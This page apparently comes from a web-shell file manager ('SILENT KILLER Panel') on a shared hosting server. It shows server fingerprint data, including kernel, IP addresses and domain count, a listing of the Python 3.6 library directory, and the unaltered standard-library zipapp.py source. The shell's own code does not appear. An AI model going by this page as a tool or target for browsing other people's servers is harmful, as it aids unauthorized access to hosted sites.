SILENT KILLERPanel

Current Path: > > lib64 > > python3.6


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //lib64//python3.6

NameTypeSizeLast ModifiedActions
__pycache__ Directory - -
asyncio Directory - -
collections Directory - -
concurrent Directory - -
config-3.6m-x86_64-linux-gnu Directory - -
ctypes Directory - -
curses Directory - -
dbm Directory - -
distutils Directory - -
email Directory - -
encodings Directory - -
ensurepip Directory - -
html Directory - -
http Directory - -
importlib Directory - -
json Directory - -
lib-dynload Directory - -
lib2to3 Directory - -
logging Directory - -
multiprocessing Directory - -
pydoc_data Directory - -
site-packages Directory - -
sqlite3 Directory - -
test Directory - -
unittest Directory - -
urllib Directory - -
venv Directory - -
wsgiref Directory - -
xml Directory - -
xmlrpc Directory - -
__future__.py File 4841 bytes December 23 2018 21:37:14.
__phello__.foo.py File 64 bytes December 23 2018 21:37:14.
_bootlocale.py File 1301 bytes December 23 2018 21:37:14.
_collections_abc.py File 26392 bytes December 23 2018 21:37:14.
_compat_pickle.py File 8749 bytes December 23 2018 21:37:14.
_compression.py File 5340 bytes December 23 2018 21:37:14.
_dummy_thread.py File 5118 bytes December 23 2018 21:37:14.
_markupbase.py File 14598 bytes December 23 2018 21:37:14.
_osx_support.py File 19138 bytes December 23 2018 21:37:14.
_pydecimal.py File 230228 bytes December 23 2018 21:37:14.
_pyio.py File 88097 bytes December 23 2018 21:37:14.
_sitebuiltins.py File 3115 bytes December 23 2018 21:37:14.
_strptime.py File 24747 bytes December 23 2018 21:37:14.
_sysconfigdata_dm_linux_x86_64-linux-gnu.py File 30191 bytes July 01 2025 22:10:37.
_sysconfigdata_m_linux_x86_64-linux-gnu.py File 30367 bytes July 01 2025 22:14:06.
_threading_local.py File 7214 bytes December 23 2018 21:37:14.
_weakrefset.py File 5705 bytes December 23 2018 21:37:14.
abc.py File 8727 bytes December 23 2018 21:37:14.
aifc.py File 32454 bytes December 23 2018 21:37:14.
antigravity.py File 477 bytes December 23 2018 21:37:14.
argparse.py File 90372 bytes December 23 2018 21:37:14.
ast.py File 12166 bytes December 23 2018 21:37:14.
asynchat.py File 11328 bytes December 23 2018 21:37:14.
asyncore.py File 20159 bytes December 23 2018 21:37:14.
base64.py File 20388 bytes December 23 2018 21:37:14.
bdb.py File 23556 bytes December 23 2018 21:37:14.
binhex.py File 13954 bytes December 23 2018 21:37:14.
bisect.py File 2595 bytes December 23 2018 21:37:14.
bz2.py File 12478 bytes December 23 2018 21:37:14.
cProfile.py File 5380 bytes December 23 2018 21:37:14.
calendar.py File 23213 bytes December 23 2018 21:37:14.
cgi.py File 37219 bytes July 01 2025 22:09:53.
cgitb.py File 12018 bytes December 23 2018 21:37:14.
chunk.py File 5425 bytes December 23 2018 21:37:14.
cmd.py File 14860 bytes December 23 2018 21:37:14.
code.py File 10614 bytes December 23 2018 21:37:14.
codecs.py File 36276 bytes December 23 2018 21:37:14.
codeop.py File 5994 bytes December 23 2018 21:37:14.
colorsys.py File 4064 bytes December 23 2018 21:37:14.
compileall.py File 12125 bytes December 23 2018 21:37:14.
configparser.py File 53592 bytes December 23 2018 21:37:14.
contextlib.py File 13162 bytes December 23 2018 21:37:14.
copy.py File 8815 bytes December 23 2018 21:37:14.
copyreg.py File 7007 bytes December 23 2018 21:37:14.
crypt.py File 1864 bytes December 23 2018 21:37:14.
csv.py File 16180 bytes December 23 2018 21:37:14.
datetime.py File 82034 bytes December 23 2018 21:37:14.
decimal.py File 320 bytes December 23 2018 21:37:14.
difflib.py File 84377 bytes December 23 2018 21:37:14.
dis.py File 18132 bytes December 23 2018 21:37:14.
doctest.py File 104391 bytes December 23 2018 21:37:14.
dummy_threading.py File 2815 bytes December 23 2018 21:37:14.
enum.py File 33606 bytes December 23 2018 21:37:14.
filecmp.py File 9830 bytes December 23 2018 21:37:14.
fileinput.py File 14471 bytes December 23 2018 21:37:14.
fnmatch.py File 3166 bytes December 23 2018 21:37:14.
formatter.py File 15143 bytes December 23 2018 21:37:14.
fractions.py File 23639 bytes December 23 2018 21:37:14.
ftplib.py File 35617 bytes July 01 2025 22:09:53.
functools.py File 31346 bytes December 23 2018 21:37:14.
genericpath.py File 5028 bytes July 01 2025 22:09:53.
getopt.py File 7489 bytes December 23 2018 21:37:14.
getpass.py File 5994 bytes December 23 2018 21:37:14.
gettext.py File 21530 bytes December 23 2018 21:37:14.
glob.py File 5638 bytes December 23 2018 21:37:14.
gzip.py File 20334 bytes December 23 2018 21:37:14.
hashlib.py File 8799 bytes July 01 2025 22:09:53.
heapq.py File 22929 bytes December 23 2018 21:37:14.
hmac.py File 6381 bytes July 01 2025 22:09:53.
imaplib.py File 53295 bytes December 23 2018 21:37:14.
imghdr.py File 3795 bytes December 23 2018 21:37:14.
imp.py File 10669 bytes December 23 2018 21:37:14.
inspect.py File 116958 bytes December 23 2018 21:37:14.
io.py File 3517 bytes December 23 2018 21:37:14.
ipaddress.py File 77818 bytes July 01 2025 22:09:53.
keyword.py File 2219 bytes December 23 2018 21:37:14.
linecache.py File 5312 bytes December 23 2018 21:37:14.
locale.py File 77300 bytes December 23 2018 21:37:14.
lzma.py File 12983 bytes December 23 2018 21:37:14.
macpath.py File 5971 bytes December 23 2018 21:37:14.
macurl2path.py File 2732 bytes December 23 2018 21:37:14.
mailbox.py File 78624 bytes December 23 2018 21:37:14.
mailcap.py File 9067 bytes July 01 2025 22:09:53.
mimetypes.py File 21042 bytes December 23 2018 21:37:14.
modulefinder.py File 23027 bytes December 23 2018 21:37:14.
netrc.py File 5684 bytes December 23 2018 21:37:14.
nntplib.py File 43078 bytes December 23 2018 21:37:14.
ntpath.py File 23094 bytes December 23 2018 21:37:14.
nturl2path.py File 2444 bytes December 23 2018 21:37:14.
numbers.py File 10243 bytes December 23 2018 21:37:14.
opcode.py File 5822 bytes December 23 2018 21:37:14.
operator.py File 10863 bytes December 23 2018 21:37:14.
optparse.py File 60371 bytes December 23 2018 21:37:14.
os.py File 37526 bytes December 23 2018 21:37:14.
pathlib.py File 46238 bytes July 01 2025 22:09:53.
pdb.py File 61320 bytes December 23 2018 21:37:14.
pickle.py File 55691 bytes December 23 2018 21:37:14.
pickletools.py File 91775 bytes December 23 2018 21:37:14.
pipes.py File 8916 bytes December 23 2018 21:37:14.
pkgutil.py File 21315 bytes December 23 2018 21:37:14.
platform.py File 47214 bytes July 01 2025 22:09:53.
plistlib.py File 32291 bytes July 01 2025 22:09:53.
poplib.py File 14964 bytes December 23 2018 21:37:14.
posixpath.py File 16324 bytes July 01 2025 22:09:53.
pprint.py File 20860 bytes December 23 2018 21:37:14.
profile.py File 22029 bytes December 23 2018 21:37:14.
pstats.py File 26564 bytes December 23 2018 21:37:14.
pty.py File 4763 bytes December 23 2018 21:37:14.
py_compile.py File 7181 bytes December 23 2018 21:37:14.
pyclbr.py File 13558 bytes December 23 2018 21:37:14.
pydoc.py File 103501 bytes July 01 2025 22:14:42.
queue.py File 8780 bytes December 23 2018 21:37:14.
quopri.py File 7262 bytes December 23 2018 21:37:14.
random.py File 27442 bytes December 23 2018 21:37:14.
re.py File 15552 bytes December 23 2018 21:37:14.
reprlib.py File 5336 bytes December 23 2018 21:37:14.
rlcompleter.py File 7097 bytes December 23 2018 21:37:14.
runpy.py File 11959 bytes December 23 2018 21:37:14.
sched.py File 6511 bytes December 23 2018 21:37:14.
secrets.py File 2038 bytes December 23 2018 21:37:14.
selectors.py File 19438 bytes December 23 2018 21:37:14.
shelve.py File 8515 bytes December 23 2018 21:37:14.
shlex.py File 12956 bytes December 23 2018 21:37:14.
shutil.py File 40829 bytes July 01 2025 22:09:53.
signal.py File 2123 bytes December 23 2018 21:37:14.
site.py File 21268 bytes July 01 2025 22:09:53.
smtpd.py File 34719 bytes December 23 2018 21:37:14.
smtplib.py File 44218 bytes December 23 2018 21:37:14.
sndhdr.py File 7088 bytes December 23 2018 21:37:14.
socket.py File 27443 bytes December 23 2018 21:37:14.
socketserver.py File 27010 bytes December 23 2018 21:37:14.
sre_compile.py File 19338 bytes December 23 2018 21:37:14.
sre_constants.py File 6821 bytes December 23 2018 21:37:14.
sre_parse.py File 36536 bytes December 23 2018 21:37:14.
ssl.py File 44509 bytes July 01 2025 22:09:53.
stat.py File 5038 bytes December 23 2018 21:37:14.
statistics.py File 20673 bytes December 23 2018 21:37:14.
string.py File 11795 bytes December 23 2018 21:37:14.
stringprep.py File 12917 bytes December 23 2018 21:37:14.
struct.py File 257 bytes December 23 2018 21:37:14.
subprocess.py File 62339 bytes December 23 2018 21:37:14.
sunau.py File 18095 bytes December 23 2018 21:37:14.
symbol.py File 2119 bytes December 23 2018 21:37:14.
symtable.py File 7277 bytes December 23 2018 21:37:14.
sysconfig.py File 24876 bytes July 01 2025 22:14:40.
tabnanny.py File 11411 bytes December 23 2018 21:37:14.
tarfile.py File 111510 bytes July 01 2025 22:09:53.
telnetlib.py File 23136 bytes December 23 2018 21:37:14.
tempfile.py File 28066 bytes July 01 2025 22:09:53.
textwrap.py File 19558 bytes December 23 2018 21:37:14.
this.py File 1003 bytes December 23 2018 21:37:14.
threading.py File 50136 bytes July 01 2025 22:09:53.
timeit.py File 13342 bytes December 23 2018 21:37:14.
token.py File 3075 bytes December 23 2018 21:37:14.
tokenize.py File 29496 bytes December 23 2018 21:37:14.
trace.py File 28733 bytes December 23 2018 21:37:14.
traceback.py File 23458 bytes December 23 2018 21:37:14.
tracemalloc.py File 16658 bytes December 23 2018 21:37:14.
tty.py File 879 bytes December 23 2018 21:37:14.
types.py File 8870 bytes December 23 2018 21:37:14.
typing.py File 80274 bytes December 23 2018 21:37:14.
uu.py File 6763 bytes December 23 2018 21:37:14.
uuid.py File 24020 bytes July 01 2025 22:09:53.
warnings.py File 18488 bytes December 23 2018 21:37:14.
wave.py File 17709 bytes December 23 2018 21:37:14.
weakref.py File 20466 bytes December 23 2018 21:37:14.
webbrowser.py File 21767 bytes December 23 2018 21:37:14.
xdrlib.py File 5913 bytes December 23 2018 21:37:14.
zipapp.py File 7157 bytes December 23 2018 21:37:14.
zipfile.py File 79924 bytes July 01 2025 22:09:53.

Reading File: //lib64//python3.6/zipapp.py

import contextlib
import os
import pathlib
import shutil
import stat
import sys
import zipfile

__all__ = ['ZipAppError', 'create_archive', 'get_interpreter']


# The __main__.py used if the users specifies "-m module:fn".
# Note that this will always be written as UTF-8 (module and
# function names can be non-ASCII in Python 3).
# We add a coding cookie even though UTF-8 is the default in Python 3
# because the resulting archive may be intended to be run under Python 2.
MAIN_TEMPLATE = """\
# -*- coding: utf-8 -*-
import {module}
{module}.{fn}()
"""


# The Windows launcher defaults to UTF-8 when parsing shebang lines if the
# file has no BOM. So use UTF-8 on Windows.
# On Unix, use the filesystem encoding.
if sys.platform.startswith('win'):
    shebang_encoding = 'utf-8'
else:
    shebang_encoding = sys.getfilesystemencoding()


class ZipAppError(ValueError):
    pass


@contextlib.contextmanager
def _maybe_open(archive, mode):
    if isinstance(archive, pathlib.Path):
        archive = str(archive)
    if isinstance(archive, str):
        with open(archive, mode) as f:
            yield f
    else:
        yield archive


def _write_file_prefix(f, interpreter):
    """Write a shebang line."""
    if interpreter:
        shebang = b'#!' + interpreter.encode(shebang_encoding) + b'\n'
        f.write(shebang)


def _copy_archive(archive, new_archive, interpreter=None):
    """Copy an application archive, modifying the shebang line."""
    with _maybe_open(archive, 'rb') as src:
        # Skip the shebang line from the source.
        # Read 2 bytes of the source and check if they are #!.
        first_2 = src.read(2)
        if first_2 == b'#!':
            # Discard the initial 2 bytes and the rest of the shebang line.
            first_2 = b''
            src.readline()

        with _maybe_open(new_archive, 'wb') as dst:
            _write_file_prefix(dst, interpreter)
            # If there was no shebang, "first_2" contains the first 2 bytes
            # of the source file, so write them before copying the rest
            # of the file.
            dst.write(first_2)
            shutil.copyfileobj(src, dst)

    if interpreter and isinstance(new_archive, str):
        os.chmod(new_archive, os.stat(new_archive).st_mode | stat.S_IEXEC)


def create_archive(source, target=None, interpreter=None, main=None):
    """Create an application archive from SOURCE.

    The SOURCE can be the name of a directory, or a filename or a file-like
    object referring to an existing archive.

    The content of SOURCE is packed into an application archive in TARGET,
    which can be a filename or a file-like object.  If SOURCE is a directory,
    TARGET can be omitted and will default to the name of SOURCE with .pyz
    appended.

    The created application archive will have a shebang line specifying
    that it should run with INTERPRETER (there will be no shebang line if
    INTERPRETER is None), and a __main__.py which runs MAIN (if MAIN is
    not specified, an existing __main__.py will be used).  It is an error
    to specify MAIN for anything other than a directory source with no
    __main__.py, and it is an error to omit MAIN if the directory has no
    __main__.py.
    """
    # Are we copying an existing archive?
    source_is_file = False
    if hasattr(source, 'read') and hasattr(source, 'readline'):
        source_is_file = True
    else:
        source = pathlib.Path(source)
        if source.is_file():
            source_is_file = True

    if source_is_file:
        _copy_archive(source, target, interpreter)
        return

    # We are creating a new archive from a directory.
    if not source.exists():
        raise ZipAppError("Source does not exist")
    has_main = (source / '__main__.py').is_file()
    if main and has_main:
        raise ZipAppError(
            "Cannot specify entry point if the source has __main__.py")
    if not (main or has_main):
        raise ZipAppError("Archive has no entry point")

    main_py = None
    if main:
        # Check that main has the right format.
        mod, sep, fn = main.partition(':')
        mod_ok = all(part.isidentifier() for part in mod.split('.'))
        fn_ok = all(part.isidentifier() for part in fn.split('.'))
        if not (sep == ':' and mod_ok and fn_ok):
            raise ZipAppError("Invalid entry point: " + main)
        main_py = MAIN_TEMPLATE.format(module=mod, fn=fn)

    if target is None:
        target = source.with_suffix('.pyz')
    elif not hasattr(target, 'write'):
        target = pathlib.Path(target)

    with _maybe_open(target, 'wb') as fd:
        _write_file_prefix(fd, interpreter)
        with zipfile.ZipFile(fd, 'w') as z:
            root = pathlib.Path(source)
            for child in root.rglob('*'):
                arcname = str(child.relative_to(root))
                z.write(str(child), arcname)
            if main_py:
                z.writestr('__main__.py', main_py.encode('utf-8'))

    if interpreter and not hasattr(target, 'write'):
        target.chmod(target.stat().st_mode | stat.S_IEXEC)


def get_interpreter(archive):
    with _maybe_open(archive, 'rb') as f:
        if f.read(2) == b'#!':
            return f.readline().strip().decode(shebang_encoding)


def main(args=None):
    """Run the zipapp command line interface.

    The ARGS parameter lets you specify the argument list directly.
    Omitting ARGS (or setting it to None) works as for argparse, using
    sys.argv[1:] as the argument list.
    """
    import argparse

    parser = argparse.ArgumentParser()
    parser.add_argument('--output', '-o', default=None,
            help="The name of the output archive. "
                 "Required if SOURCE is an archive.")
    parser.add_argument('--python', '-p', default=None,
            help="The name of the Python interpreter to use "
                 "(default: no shebang line).")
    parser.add_argument('--main', '-m', default=None,
            help="The main function of the application "
                 "(default: use an existing __main__.py).")
    parser.add_argument('--info', default=False, action='store_true',
            help="Display the interpreter from the archive.")
    parser.add_argument('source',
            help="Source directory (or existing archive).")

    args = parser.parse_args(args)

    # Handle `python -m zipapp archive.pyz --info`.
    if args.info:
        if not os.path.isfile(args.source):
            raise SystemExit("Can only get info for an archive file")
        interpreter = get_interpreter(args.source)
        print("Interpreter: {}".format(interpreter or "<none>"))
        sys.exit(0)

    if os.path.isfile(args.source):
        if args.output is None or (os.path.exists(args.output) and
                                   os.path.samefile(args.source, args.output)):
            raise SystemExit("In-place editing of archives is not supported")
        if args.main:
            raise SystemExit("Cannot change the main function when copying")

    create_archive(args.source, args.output,
                   interpreter=args.python, main=args.main)


if __name__ == '__main__':
    main()

SILENT KILLER Tool